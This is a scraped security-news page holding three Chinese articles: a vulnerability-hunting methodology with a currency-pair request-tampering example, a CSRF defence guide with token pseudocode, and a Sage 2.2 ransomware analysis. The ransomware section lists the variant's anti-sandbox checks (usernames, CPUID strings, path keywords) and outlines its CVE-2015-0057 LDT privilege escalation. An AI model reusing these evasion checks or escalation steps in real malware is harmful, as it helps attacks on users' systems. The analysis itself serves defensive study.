Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】漏洞挖掘高级方法

$
0
0
【技术分享】漏洞挖掘高级方法

2017-11-02 10:07:09

阅读:1313次
点赞(0)
收藏
来源: 安全客





【技术分享】漏洞挖掘高级方法

作者:安全小子





【技术分享】漏洞挖掘高级方法

作者:安全小子

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

在此文中我将讲述我在软件漏洞挖掘的实践中学到的技术及方法,不过这些内容并非那些前沿的技术,大多是基础类型的技术及方法。对于初学者而言,希望能够给予入门的指导,对于经验丰富的漏洞挖掘工作者而言,我认为也可以从中获得一些启发。

受限于我个人的知识水平及能力,这篇文章并不可能做到面面俱到,也希望阅读者能够与我积极交流,对于其中的错误不吝赐教。

我将会把此文分为三个章节,分别阐述我的观点。首先我会从一个较高的角度总结于我眼中何谓漏洞挖掘;然后详细讨论在软件漏洞挖掘过程中我们需要掌握的技能以及需要的知识和工具等;最后我将谈谈一些我认为有利于漏洞挖掘但是却并非纯技术性的想法。


一、什么是漏洞挖掘


【技术分享】漏洞挖掘高级方法
从某个角度来讲,我们可以将漏洞挖掘工作比作玩迷宫游戏,不同的是,这个迷宫与我们平时所见的游戏中的迷宫略有不同:

1. 你无法立即看到它整体的外观

2. 随着漏洞挖掘工作的深入,这个迷宫的形状逐渐扩大

3. 你将会拥有多个起点及终点,但是无法确定这些点具体在哪里

4. 最终这个迷宫可能永远也无法100%的完整,但是却能够弄清楚A点至B点的一条完整路径

可以用下面这张图来进行描述:


【技术分享】漏洞挖掘高级方法

具体一点的描述,我们可以将漏洞挖掘工作归结为三个步骤:

1. 枚举程序入口点(例如:与程序交互的接口)

2. 思考可能出现的不安全状态(即漏洞)

3. 设法使用识别的入口点到达不安全状态

即是说,在这个过程中,迷宫是我们研究的应用程序,地图是我们堆程序的理解程度,起点是我们的入口点(交互接口),终点为程序的不安全状态。

所谓入口点,既可以是UI界面上直观可见的交互接口,也可以是非常模糊与透明的交互接口(例如IPC),以下是部分安全研究员较为感兴趣的关注点:

1. 应用程序中比较古老的代码段,并且这一部分随着时间的推移并没有太大的变化。

2. 应用程序中用于连接由不同开发团队或者开发者开发的程序模块的接口部分

3. 应用程序中那些调试和测试的部分代码,这部分代码本应在形成Release版本时去除,但由于某些原因不小心遗留在程序中。

4. C-S模式(带客户端和服务端)的应用中客户端及服务端调用API的差异部分(例如网页表单中的hide属性字段)

5. 不受终端用户直接影响的内部请求(如IPC)

我认为从攻击面上来划分可以讲漏洞分为两大类,通用漏洞(General)和上下文漏洞(contextual)。通用型漏洞是指在我们对应用的业务逻辑不是非常熟悉的情况下能够找出的漏洞,例如一些RCE(远程代码执行)、SQLi(sql注入)、XSS(跨站)等。上下文漏洞是指需要在对应用的业务逻辑、认证方式等非常熟悉的情况下才能找到的漏洞,例如权限绕过等。

在漏洞挖掘的过程中,我首先会根据经验优先考虑研究测试那些可能会对应用产生巨大威胁的部分。一些轻量级威胁检测模型(如STRIDE)可以辅助我们做出这样的决策。

下面我们首先看一下一个WEB应用程序的漏洞示例,后面将会介绍桌面程序:


【技术分享】漏洞挖掘高级方法

首先我们假设目标web应用是一个单页面应用(single-page-application SPA),我们已经获得合法验证去访问这个应用,但是我们没有任何关于服务端的源代码或者二进制文件。在这种情况下,当我们枚举入口点时,可以通过探寻该应用的不同功能来进一步了解其业务逻辑及功能,可以通过抓包分析看HTTP请求内容,也可以分析客户端的网页代码获取需要提交表单的列表,但是最终的限制还是我们无法具体知悉客户端和服务端调用的API之间的区别,不过通过以上方法,我们可以找到一些入口点,

接着就是操作这些入口点,以试图达到我们预期的不安全状态。由于漏洞的形态很多,我们通常需要构建一个适用于该测试应用程序的业务功能漏洞的测试集,以求达到最高效的寻找漏洞。如果不那样做的话,我们就将会在一些无用的测试集上花费大量时间,并且看不到任何效果(举个例子,当后台的数据库为Postgresql时,我们用xp_cmdshell去测试,测试再多次都无济于事)。所以在构造测试集时,需对应用程序的逻辑有较深的理解。下图形象的展示了低效率测试集的效果:


【技术分享】漏洞挖掘高级方法

对于桌面应用程序,漏洞挖掘的思路本质上与web程序是类似的,不过也有一些区别:最大的区别在于,桌面应用的执行方式与流程与web程序不一样,下图展示的是桌面应用漏洞挖掘的一些内容:


【技术分享】漏洞挖掘高级方法

与黑盒测试相比,当有源代码时(白盒测试),在寻找代码入口和程序执行路径等漏洞挖掘点时所做的猜测性的工作会大大减少,在这种情况下,将数据载荷从入口点执行到不安全的程序位置的效率低于从不安全的程序位置回溯至入口点。不过在白盒测试中,你对代码的测试的覆盖面可能会由于你自己的知识局限性而受到影响。


二、漏洞挖掘需要具备的知识

从事漏洞挖掘工作需要具备的知识是极其广泛的,并且随着时间在不断改变,也取决于你所研究的对象(web程序、桌面程序、嵌入式等等)。不过,万变不离其宗,所需要掌握的知识领域却总可以认为是确定的,我认为大致可以分为以下四个方面:

1. 程序正向开发技术。这是一个开发者需要掌握的能力,包括编程语言、系统内部设计、设计模式、协议、框架等。拥有丰富编程经验与开发能力的人在漏洞挖掘过程中往往比那些只对安全相关领域有所了解的人员对目标应用能有更深入的理解,从而有更高的产出。

2. 攻防一体的理念。这些知识涵盖了从基本的安全原则到不断变换的漏洞形态及漏洞缓解措施。攻击和防御结合的理念,能够有效帮助研究者既能够发现漏洞,同时也能够快速给出有效的漏洞缓解措施和规避方法。

3. 有效使用工具。能够高效的使用工具能够快速将思路转化为实践,这需要通过花时间去学习如何配置和使用工具,将其应用于自己的任务并构建自己的工作流程来不断积累经验。更进一步,需要深入掌握所使用工具的原理,以及如何对其进行二次开发,以使得其能够更加高效的应用于当前的工作实际。事实上,我认为面向过程的学习方法往往比面向工具的学习方法更加高效以及有价值,当自己发现一个在使用一个工具遇到瓶颈时,先不要退缩,尝试去改造它,或者通过自己动手实践去完成能够适应当前工作的工具,这往往能够帮助快速积累大量实践经验。帮助我们以后更加高效的去实践漏洞挖掘工作。

4. 对目标应用的理解。最后,也是最重要的,作为一个漏洞挖掘人员,对自己研究的应用程序在安全性方面必须要比这个程序的开发者或维护者有更深的理解。这样你才能尽可能的发现这个程序中的漏洞并修复它。

下面这张表格介绍了我认为在挖掘web应用程序和桌面应用程序的漏洞时所需要掌握的内容,限于笔者个人的认知水平,所展示的内容并非特别齐全:


【技术分享】漏洞挖掘高级方法

【技术分享】漏洞挖掘高级方法

这是我经过无数的不眠之夜、数以千计的小时、一次又一次的错误而总结的知识,我相信它将会帮助你提高你挖掘漏洞的能力。如果说上面一节是讲诉挖掘漏洞所需要的知识,那么下面的这一节将讲述挖掘漏洞如何做。


三. 漏洞挖掘需要做什么

当我分析一个应用程序时,我通常采用下图展示的四个“分析模型”,每当我遇到障碍导致我思路受阻时,我就会从其中一个模型切换到下一个模型,当然,这不是一个线性的切换,我不知道这个方法是否对每个人都有用,但是对于我的确是帮助巨大:


【技术分享】漏洞挖掘高级方法

在每一个模型之中都有主动活动(activeactivities)与客观活动存在(passiveactivities),主动活动需要我们对程序的执行环境及上下文有一个比较全面的了解,而客观活动却不一定,比如它是客观存在与程序的一些技术文档之中。不过,这种划分也不一定严格,不过对于每一个activity,我们可以从以下几方面去考虑:

1. 理解有关漏洞的相关模型

2. 试图假设一个场景去破坏程序

3. 尝试去破坏程序


【技术分享】漏洞挖掘高级方法

程序用途分析(Use case analysis)。程序用途分析是指理解一个应用程序做了什么工作,会提供什么服务等。每当我去分析一个新的应用程序时,我所做的第一件事就是程序用途分析。同时,阅读与该程序的相关文档将有助于进一步理解程序功能(如上图所示)。我总是这样做,以期对程序有一个透彻的了解。

或许,比起直接构造测试样例进行测试,这项工作可能并不是那么有趣。不过,它的确帮助我节省了一大笔时间。举一个我自己的例子,我之前发现过Oracle Opera(一个广泛使用的酒店管理软件)[CVE-2016-5563/4/5]的远程代码执行漏洞,我就是通过阅读器用户手册快速找到可能存在危险的数据表,最后快速找出远程代码执行漏洞。有关这个漏洞的分析,请参看:http://jackson.thuraisamy.me/oracle-opera.html
【技术分享】漏洞挖掘高级方法

(执行条件分析)Implementation analysis,执行条件分析是指理解应用程序运行时需要包括的环境因素,比如网络配置,端口使用等。可以通过端口扫描,漏洞扫描等方式进行操作。这些配置上的问题,很可能就会导致一个漏洞的出现。

聚个例子,一个系统权限级别的程序,由于配置错误,可能会使的低权限的用户能够访问并修改,最终导致一个权限提升,引发一个提权漏洞。又比如,在一个网络程序中,可能程序本身并没有错误,但是由于这个服务器开了一个anonymous的FTP服务器,那么任何人都有可能访问这个机器,这就导致web应用的源代码或者其他敏感文件暴露在外面。这些问题,理论上并非程序自身的漏洞,但是由于其执行环境的因素,就使得其成为一个漏洞。


【技术分享】漏洞挖掘高级方法

通信分析(Communications analysis)。通信分析是指对一个目标程序与其他进程或系统之间交互信息的方式进行深入分析。在这样的前提下,可通过发送精心构造的请求(request)等方法,触发不安全状态。许多web应用程序漏洞都是通过这种方式发现的。

在上述模式下,需要我们对数据通信协议有较为清晰的认识,如果并不能够清晰的了解协议格式呢?这种情况就要借助黑盒测试的技术进行解决,主要通过发送请求,并根据返回值进行判断是否存在异常。

下面举个例子来说明,这里假设存在一个金融网站,里面有一项功能允许用户使用不同的货币购买预付信用卡。这里假设实现这项业务的请求(Request)如下:

FromAccount : 用于购买预付卡的账户

FromAmount : 需要从fromAccount转入预付卡的金额(例如 ¥100)

CardType: 需要购买的预付卡类型(例如 USD、GBP

currencyPair : 付款账户和预付信用卡的货币配对,用于计算汇率(如 CADUSD、CADGBP)

当我们要去测试这样一个应用程序时,首先我们可能会想到发送一个正常的数据请求,以帮助我们了解该应用程序的标准响应的格式。例如下图,用CAD去购买82美刀的预付卡的请求和响应是下面这个样子:


【技术分享】漏洞挖掘高级方法

或许我们并不知道程序在后台到底对我们的数据做了何种处理,但是我们通过观察status字段的属性知道我们的请求是ok的,下面如果我们将fromAmount参数调整为一个负数,或者将fromAccount调整为其他某个人的账户,那么这个web应用就可能会返回错误响应,比如验证不通过。另外如果我们将currencyPair从CADUSD(加元对美元)改为CADJPY(加元对日元)而cardType不变,那么我们会看到返回值中toAmount字段从82.20变为8863.68。如果程序缺乏足够的验证的话,我们有可能通过这种方式获取到更多的钱而付出的钱不变。

另一方面,如果我们能够获取到后台代码或程序,那事情就变得更加有意思,我们可以轻松了解到后台的运作流程,如后台是如何处理请求,有哪些错误响应,这将有助于我们构造出更加具有针对性的数据对应用进行测试。


【技术分享】漏洞挖掘高级方法

代码分析(Code and binary analysis)。代码分析是指理解一个目标程序是如何处理用户输入的数据,以及该程序的执行流程。目前有很多方法可以对程序实现动态和静态分析,下面介绍其中一部分:

数据流分析。数据流分析对于寻找入口点以及数据是如何走向潜在的不安全状态是非常有用的。当我在通信分析(Communications analysis)遇到困难,很难构造出合适的request,我便会调整思路采取其他的方式寻找不安全状态,在数据流分析中,我可以使用这种方法,首先判断是否存在不安全状态,如果存在,则进一步跟踪数据是如何流向该状态。这个方法的有点是,一但发现不安全状态,入口点也随之确定,这为发掘漏洞提供巨大帮助。

在这个过程中,动态分析和静态分析需要紧密配合起来。举个例子,当你在寻找如何从A点走到B点时,静态分析就好比是在阅读一张地图,而动态分析就好比直接在这地图上走,需要实时关注路上的天气及交通状况,IDA和windbg的配合就是如此。静态分析可以对程序有一个全貌但不细致的理解,动态分析则可以对程序有一个狭隘但却细致的理解,二者是相互补充的。

外部引用分析。在分析程序的过程中,程序上下文环境中可能非常有限,这个时候分析程序的导入API可以帮助我们进一步了解程序的功能以及它与操作系统的交互方式。比如说,程序引用加密库对数据进行加密,那么你可以跟踪这个加密库并分析其功能,进而分析自己的输入是否能够影响其功能。令外,理解程序是如何与操作系统的交互也可以帮助我们进一步找到我们可以与程序进行交互的入口点。

字符串分析。与外部引用分析一样,分析程序中的字符串将帮助我们进一步理解程序中的功能,特别是那些调试信息,关键字或者令牌什么的,或者是那些看起来特别奇特的东西,对这些关键的字符串的分析及跟踪也将有利于我们寻找到更多的程序入口,进而更加全面的找出程序中的缺陷。

安全扫描。使用自动化的扫描工具(如php源代码扫描AWS)可能帮助我们快速找到一些常见的漏洞。但是对于寻找基于上下文和基于设计的漏洞并没有太大帮助。我通常并不会对这种方法有太多青睐,只会用来做一些辅助性的功能,如果单纯靠扫描就能找出一堆漏洞,你研究的目标安全做的就太差了,这在目前并不常见,或者说研究这类目标对于提高你自己并无任何帮助。

依赖性分析。一个应用程序往往会以来其他外来的组件,比如一些开源模块,它所依赖的开源模块自身存在的漏洞可能会被引入造成自身的未公开漏洞。值得一提的是,现今一个程序往往都是引用了众多第三方扩展模块,这些第三方的漏洞极易造成主程序的漏洞。举个例子,大多数浏览器都会使用sqlite做数据缓存,如果sqlite存在漏洞,那么这些浏览器都有可能存在问题,无论是谷歌还是火狐。

版本分析。如果你有机会访问程序的代码仓库,那么你就可以通过分析历史版本的方式对程序进行分析,这种方式不是基于上下文的,比如说,寻找那些长时间没有做改动的部分,这些部分极易寻在漏洞。

代码分析通常需要花费比其他方式更多的时间,同时也更难,因为研究者对这个程序的功能和使用的技术的掌握程度要不亚于其开发者,另外,一个程序的开发可能是由一个团队进行维护,那么对于研究者,全面掌握这些东西显得比较困难。但是只要肯专研,其实什么也都是能够克服的,中国有句古话,只要肯专研,铁棒变花针。

我无法不去强调编程能力的重要性,如果一个研究人员对他当前研究的程序所采用的语言和技术有深入扎实的功底,那么他必将创造出很多有价值的东西。从攻击的角度来说,他可以发现更加简单及直观,编写利用程序也将得心应手。从防御的角度来说,他可以提供出代码级别的具有高度针对性的修复建议而非那种通用的方法。


四. 有关漏洞挖掘的其他想法。

1. 漏洞的复杂性

漏洞的复杂性分布非常广。一方面,有很多漏洞非常简单与直观,并且利用代码一目了然,比如说经典的sql注入。另一方面,在系统中有的看似并不相关,并且就其自身而言并非不安全,但是当这些东西以一种特定的方式结合起来的时候,就有可能引发大的漏洞,比如说条件竞争,或者一些其他的复杂的逻辑漏洞。我尝试将这些漏洞按照复杂级别分为“一级漏洞”和“二级漏洞”,不过也有其他分类方法。引用一局来自Project Zero的Ben Hawkes说过的一句话:

The modern exploit is not a single shot vulnerability anymore. They tend to be a chain of vulnerabilities that add up to a full-system compromise.

如今想要完成一个完整的利用,只靠单一的漏洞往往行不通。很多时候我们需要靠一连串的漏洞才能完成一起完整的利用,致使系统“妥协”。

2. 团队工作

在一个团队中工作能够有效帮助自己了解自己不知道的知识,以及提高自己已知的知识。不过在团队中要需要注意工作的方式方法,知之为知之,不知为不知,永远不要强行假装精通你不熟悉的东西,因为精通的人可以很轻易的指出你的症结。如果一个团队里面大家都不坦诚相待,那么这不是一个合格的团队,你可以尽早更换。在优秀的团队中,不要指望别人会把所有的知识交给你,要学会如何高效的学习,并在团队交流与合作中不断提高。


写在最后

感谢花时间将我的文章读完,我希望我的文章在可以帮助你解开你的一些对于漏洞挖掘的谜团。在学习和研究漏洞挖掘的过程中遇到困难并感到不知所措是非常正常的。不过学习的过程就是这样,只有不断的去尝试才会进步。祝你在漏洞挖掘的路上走的越来越远。

参考文章

1.http://jackson.thuraisamy.me/finding-vulnerabilities.html

2.http://jackson.thuraisamy.me/oracle-opera.html

3.http://www.cnblogs.com/SecurityKid/p/7751802.html




【技术分享】漏洞挖掘高级方法
【技术分享】漏洞挖掘高级方法
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4637.html

【技术分享】让我们一起来消灭CSRF跨站请求伪造(下)

$
0
0
【技术分享】让我们一起来消灭CSRF跨站请求伪造(下)

2017-11-02 10:57:20

阅读:1285次
点赞(0)
收藏
来源: medium.com





【技术分享】让我们一起来消灭CSRF跨站请求伪造(下)

作者:WisFree





【技术分享】让我们一起来消灭CSRF跨站请求伪造(下)

译者:WisFree

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】让我们一起来消灭CSRF跨站请求伪造(上)


写在前面的话

在本系列文章的上集中,我们跟大家介绍了关于CSRF的一些基本概念,并对常见的几种CSRF漏洞类型进行了讲解。那么接下来,我们就要跟大家讨论一下如何才能消灭CSRF。


现代保护机制

实际上,通过修改应用程序源代码来实现CSRF保护在很多情况下是不现实的,要么就是源代码无法获取,要么就是修改应用程序的风险太高了。但我们所设计的解决方案可以轻松地部署到RASP、WAF、反向代理或均衡负载器中,并且可以同时保护一个或多个配置相同的应用程序。

首先我们要知道,正确地使用安全或不安全的HTTP verb是非常重要的。虽然这一点并不能构成一个有效的解决方案,但它是另外两种方法实现的基础。在构建应用程序之前,我们需要对其进行架构设计。幸运的是,大多数现代Web框架都有路由的概念,并且可以强制让节点与HTTP verb配对。在现代框架中,带有错误verb的请求将会导致错误的产生。如果你的应用程序中不能实现这种机制的话,请继续往下看。

另一种方法是验证请求的发送源,这种方法可以确保发送给应用程序的请求来自于一个受信任的源。在这里,正确使用HTTP verb同样是非常重要的,如果我们假设只有改变状态的请求会来自于不安全的请求,那我们就只需要对不安全的请求源进行验证就可以了。但正如我们之前所讨论的,在验证源的可靠性时我们还会遇到很多的问题。其中的一种解决方案是创建一个安全URL白名单,这样就可以防止来自外部源的CSRF。

第三种方法,也是最常见的方法,即使用令牌Token。令牌本身有多种形式,但大多数使用的都是同步器令牌(synchronizer token)。说得更加详细一点,这种令牌主要分为“双提交令牌”以及“加密令牌”。事实证明,结合使用双提交令牌以及加密令牌可以提供最好的安全性。

简单说来,所谓的同步器令牌,就是服务器和浏览器之间需要同步一个令牌(唯一的)。安全的请求方法会返回一个令牌,当浏览器在发送请求时会携带这个令牌,而服务器在处理请求之前,会验证令牌的有效性。处理完请求之后,服务器还会提供一个新的令牌以保证之前的令牌无法继续使用(防止重放攻击)。此时,攻击者将无法访问到令牌或者将其插入到恶意请求之中,因为如果攻击者想这样做的话,他必须要强迫目标用户向远程网站发送请求并访问请求内容,但SOP可以防止这种情况的发生。这样一来,攻击者所能使用的最后一种方法就是利用目标程序可能存在的XSS漏洞了。

需要注意的是,令牌主要有四个部分(一个随机数,用户识别符,过期时间以及真实性验证信息)组成,因此保持其“整体完整性”就非常重要了,其中缺少任何一项都将导致令牌的安全性大打折扣。

在令牌机制的实现过程中,有两个方面我们需要仔细斟酌,即服务器端和客户端。其中,服务器端负责生成和验证令牌,而客户端负责向需要请求资源的服务器发送令牌。需要注意的是,大家绝对有必要为每一个请求生成一个新的令牌,即使这样会牺牲一定的性能。除此之外,你也可以在cookie中添加令牌,但你需要确保cookie没有使用HttpOnly标记。下面这段简单的示例代码是生成令牌的常用方法:

StringgenerateToken(intuserId,intkey){ byte[16]data=random() expires=time()+3600 raw=hex(data)+"-"+userId+"-"+expires signature=hmac(sha256,raw,key) returnraw+"-"+signature }

大家可以从上面这段代码中看到组成令牌的那四个部分。其中,HMAC是用于验证前三个元素有效性的令牌,并最终会添加到raw的结尾。

boolvalidateToken(token,user){ parts=token.split("-") str=parts[0]+"-"+parts[1]+"-"+parts[2] generated=hmac(sha256,str,key) if!constantCompare(generated,parts[3]){ returnfalse } ifparts[2]<time(){ returnfalse } ifparts[1]!=user{ returnfalse } returntrue }

上面这段示例代码演示的是验证和计算令牌有效性的常用方法。首先我们需要将令牌拆分成它的四个组成部分,然后第一步就是利用前三个部分生成并验证HMAC的有效性(与之前的HMAC进行对比)。对比时间一定要确保使用的是固定时间,这样可以避免基于时间的攻击。如果验证成功,我们接下来就要确保令牌没有过期,最后进行用户匹配。但在真实场景中,最麻烦的事情就是让用户的浏览器在发送所有请求时自动提交令牌。

实际上在开发应用的过程中,绝大多数的现代框架都已经帮我们搞定这一切了。框架库可以处理XHR,并将令牌自动插入到请求信息(包括表单)中。但是如果框架没有帮我们实现的话,我们也可以自己实现这种功能。这一步主要可以分为两个部分,一个是处理表单提交,另一个是处理XHR。下面这段示例代码可以处理onclick事件回调:

vartarget=evt.target; while(target!==null){ if(target.nodeName==='A'||target.nodeName=== 'INPUT'||target.nodeName==='BUTTON'){ break; } target=target.parentNode; } //Wedidn'tfindanyofthedelegates,bailout if(target===null){ return; }

我们可以将这段代码添加到文档中,而不是添加到单独的表单或可点击的元素之中,因为很有可能表单或元素根本就不存在与页面DOM之中。我们所指的元素是用户可以点击的东西,由于DOM树的结构以及事件处理系统的不同,所以我们要寻找的是那种可以提交表单的元素,例如input或button标签。

接下来,我们可以检测一个标签是否为input标签。如果它是,那么我们就可以确保这里有一个提交按钮了。当我们验证提交事件已经被触发之后,我们就可以继续搜索DOM树并寻找form标签了。如果找遍了DOM树却没有找到form标签,那么就说明元素没有被提交,除非它使用了XHR。找到form标签之后,最后一步就是将令牌以一个隐藏input元素添加到表单之中,即创建一个新的元素并将其添加到表单。

vartoken= form.querySelector('input[name="csrf_token"]'); vartokenValue=getCookieValue('CSRF-TOKEN'); if(token!==undefined&&token!==null){ if(token.value!==tokenValue){ token.value=tokenValue; } return; } varnewToken=document.createElement('input'); newToken.setAttribute('type','hidden'); newToken.setAttribute('name','csrf_token'); newToken.setAttribute('value',tokenValue); form.appendChild(newToken);

对于那些并非基于表单的请求,我们就需要想办法将令牌插入到XHR请求之中了。大多数代码库都提供了相关的抽象方法,包括jQuery,但我们需要针对标准XHR API创建我们自己的函数钩子。通过利用javascript的原型继承机制以及动态特性,我们可以直接将原始的发送方法添加到对象之中,这样我们就可以随时调用这些方法了。接下来,我们需要创建一个新的函数并将令牌插入到cookie中,然后再在请求信息中添加一个带值的header。

不过需要注意的是,对于IE浏览器,我们所设计的这种方法只适用于IE 8及其以上版本的IE浏览器,因为这些版本才支持方法原型和XHR,虽然IE支持XHR但并不支持方法原型。具体的浏览器支持情况如下图所示:


【技术分享】让我们一起来消灭CSRF跨站请求伪造(下)

总结

在本系列文章中,我们跟大家介绍了关于CSRF的一些基本概念,并对常见的几种CSRF漏洞类型进行了讲解。除此之外,我们还给大家提供了一些用于对付CSRF漏洞的最佳实践方法。这里我给大家推荐一款名叫Same-Site的扩展插件,它可以帮助我们对cookie进行检测,并对浏览器所发送的cookie进行严格的安全限制。这款插件的浏览器支持情况如下图所示:


【技术分享】让我们一起来消灭CSRF跨站请求伪造(下)


【技术分享】让我们一起来消灭CSRF跨站请求伪造(下)
【技术分享】让我们一起来消灭CSRF跨站请求伪造(下)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f

【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

$
0
0
【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

2017-11-02 13:59:16

阅读:790次
点赞(0)
收藏
来源: fortinet.com





【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

作者:shan66





【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

译者:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


简介

在去年2月份的时候,我们发表了关于Sage 2.0的文章,并在3月发现了2.2版,但从此之后,FortiGuard实验室团队已经有6个多月没有发现这种恶意软件的重大活动踪迹了。因此,Sage勒索软件的变种好像已经淡出恶意软件的江湖了。

然而,我们最近又发现了Sage的新样本,虽然该样本看上去仍然是Sage 2.2,但现在已经增加了专门用于对抗分析和提权等功能。在本文中,我们将分享这些最新的发现。

通过Kadena威胁情报系统,我们已经确认该恶意软件是通过垃圾邮件来传播的,这些邮件带有恶意的javascript附件,之后,这些代码会下载新型的Sage 2.2变种。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图1 Sage 2.2新变种攻击矢量的KTIS视图

同时,有些样本是通过植入了恶意的VB宏下载器代码的文档进行扩散的,我们认为这些文档也是作为垃圾邮件的附件进行传播的。

根据Kadena威胁情报系统的数据,用于下载这个新版本的Sage的URL是由.info和.top顶级域名(TLD)以及路径的编号共同组成的。

真正有趣的是,我们发现Sage这个版本的文件竟然与Locky勒索软件的文件共享同一个下载服务器。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图2 托管Locky和Sage 2.2新变种的一些服务器



【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图3 下载URL示例


没有发生变化的部分

与Sage勒索软件的早期版本相比,这个新版本的许多功能代码并没有变化,对于这一部分,我们这里不会详细介绍,但是对于一些重要的细节,还是有必要强调一下的。

与早期版本一样,此版本也包含了各种加密算法。它使用与Sage 2.0(即ChaCha20)相同的加密算法来加密文件。加密文件的名称仍然使用扩展名.sage。

同时,它还还会通过下面给出的特定国家的键盘布局来避免感染某些国家/地区的机器:

白俄罗斯、哈萨克、乌兹别克、俄罗斯、乌克兰、萨哈、拉脱维亚 。

这次发现的新变种仍然使用与Sage早期版本相同的消息来设置桌面壁纸。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图4 Sage勒索软件的桌面壁纸


代码混淆

在考察该恶意软件的新变种时,我们观察到了一个有趣的变化,那就是大多数字符串已被加密,以掩盖其恶意内容。事实证明,这些字符串使用的是Chacha20密码算法。每个加密后的字符串都有自己硬编码的解密密钥。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图5 字符串解密函数


分析对抗、沙箱对抗和虚拟机对抗功能

除了加密的字符串之外,该恶意软件的新变种还实现了一些新功能,来探测自己是否正在被分析,或者是否将被加载到沙箱或虚拟机中。如果检测到这些情形,它将立即自动终止,以避免被分析。

以下是该恶意软件进行的各种对抗性的检查:


进程名称检查

Sage的这个变种会枚举机器的所有活动进程,并使用Murmurhash3计算哈希值,然后根据硬编码的哈希值列表进行比对。表1列出了一些列入黑名单的进程名称及其相应的Murmurhash3哈希值。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

表1 列入黑名单的进程名称


文件名检查

它还在恶意软件执行的路径全称中查找以下名称。

sample

malw

sampel

virus

{sample’s MD5}

{samples’s SHA1}

这些名称通常用作分析恶意软件样本的文件名或目录名。由此看来,如果这些名称中的任何一个出现在相应的完整路径中,Sage就会假定自己正在被分析。由于这里使用的函数是StrStrI(),所以比较时不区分大小写。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图6 文件全路径检查


计算机名称和用户名检查

该恶意软件可以通过多种方式来检测自己是否被加载到了AV沙箱中。其中一种方式是检查在沙箱环境中是否使用了已知计算机或用户名。这个恶意软件的变种中包含了硬编码的计算机名和用户名列表,这些也是通过Murmurhash3计算哈希值的。 到目前为止,我们只从这些列表中确定出了一个名称,就是计算机名“abc-win7”。

除了哈希列表外,它还包含加密的计算机名称和用户名字符串。下面是解码后的字符串列表:

Wilbert

Customer

Administrator

Miller

user

CUCKOO-

TEST-

DESKTOP-

WORKSTATION

JOHN-PC

ABC-PC

SARA-PC

PC

D4AE52FE38


CPUID检查

这个恶意软件还使用x86指令CPUID来获取处理器的详细信息,如处理器品牌字符串等。然后,检查该品牌字符串是否位于通常用于虚拟化环境的CPU ID黑名单中:

KVM

Xeon

QEMU

AMD Opteron 2386


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

图7 检查CPU ID


防病毒服务名称和MAC地址检查

最后,它还会检查计算机上是否正在运行防病毒软件,并检查MAC地址是否被列入了黑名单中。该恶意软件通过枚举在服务控制管理器下运行的服务来检查是否有防病毒软件运行,并通过Murmurhash3对这些服务名称进行相应的处理,然后根据其硬编码的哈希列表进行检查。表2和表3分别列出了黑名单中的一些防病毒服务名称和MAC地址。


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

表2 列入黑名单的服务名称


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

表3 列入黑名单的MAC地址


深入分析Sage的提权机制

恶意软件通常会设法获得高于提供给普通用户帐户的特权级别,因为更高的权限级别允许他们获得对系统的完全控制,然后就可以在受感染的系统上为所欲为了。这对于加密型的勒索软件来说尤为重要,因为它们需要更高的权限级别来确保能够对受害者的所有文件进行加密,尤其是存储在受保护文件夹中的那些珍贵文件。在最近的分析中,我们还发现,Sage已经能够通过利用已修补的windows内核漏洞或用户帐户控制(UAC)功能来提升其权限了。


利用CVE-2015-0057

事实上,Sage不是第一个利用CVE-2015-0057中的Windows内核漏洞的恶意软件系列。然而,该恶意软件的漏洞利用技术——即其使用的write-what-where(WWW)权限——与其他恶意软件家族大相径庭。值得注意的是,这个漏洞和利用此漏洞的方法已经被很多公开的文章介绍过了,所以下面的分析主要集中在如何在后利用阶段将代码的执行权限从ring-3提升到ring-0。

由于该漏洞的特性,它允许攻击者在机器内存中的任何部分进行任意的数据读写操作。通过考察Sage中的exploit代码,我们发现它可以利用一些Windows GUI函数,如InternalGetWindowText/NtUserInternalGetWindowText和NtUserDefSetText来执行任意的读/写操作。 对于传统的内核攻击来说,通常将目标设为HalDispatchTable,然后覆盖用于将代码权限从ring-3提升到ring-0的描述符表中的一个指针。对于Sage来说,它是通过攻击本地描述符表(LDT)来实现权限从ring-3到ring-0的提升,具体代码如下所示:


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

清单1:利用远程调用LDT调用第一阶段内核Shellcode的payload

下面的调试器输出展示的是执行上面标注的代码前的LDT内容:


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

清单2:在执行exploit代码之前LDT的内容

在执行清单1中标注的代码后,我们可以看到新的LDT表项已成功添加到EPROCESS结构中:


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

清单3:执行exploit代码后LDT的内容

通过exploit将伪造的LDT表项添加到GDT后,它继续进行远程调用,并触发第一阶段的内核shellcode代码:


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

清单4:使用远程调用触发第一阶段的内核shellcode


【恶意软件】勒索软件Sage 2.2新变种将魔爪伸向更多国家

清单5:第一阶段的内核exploit shellcode

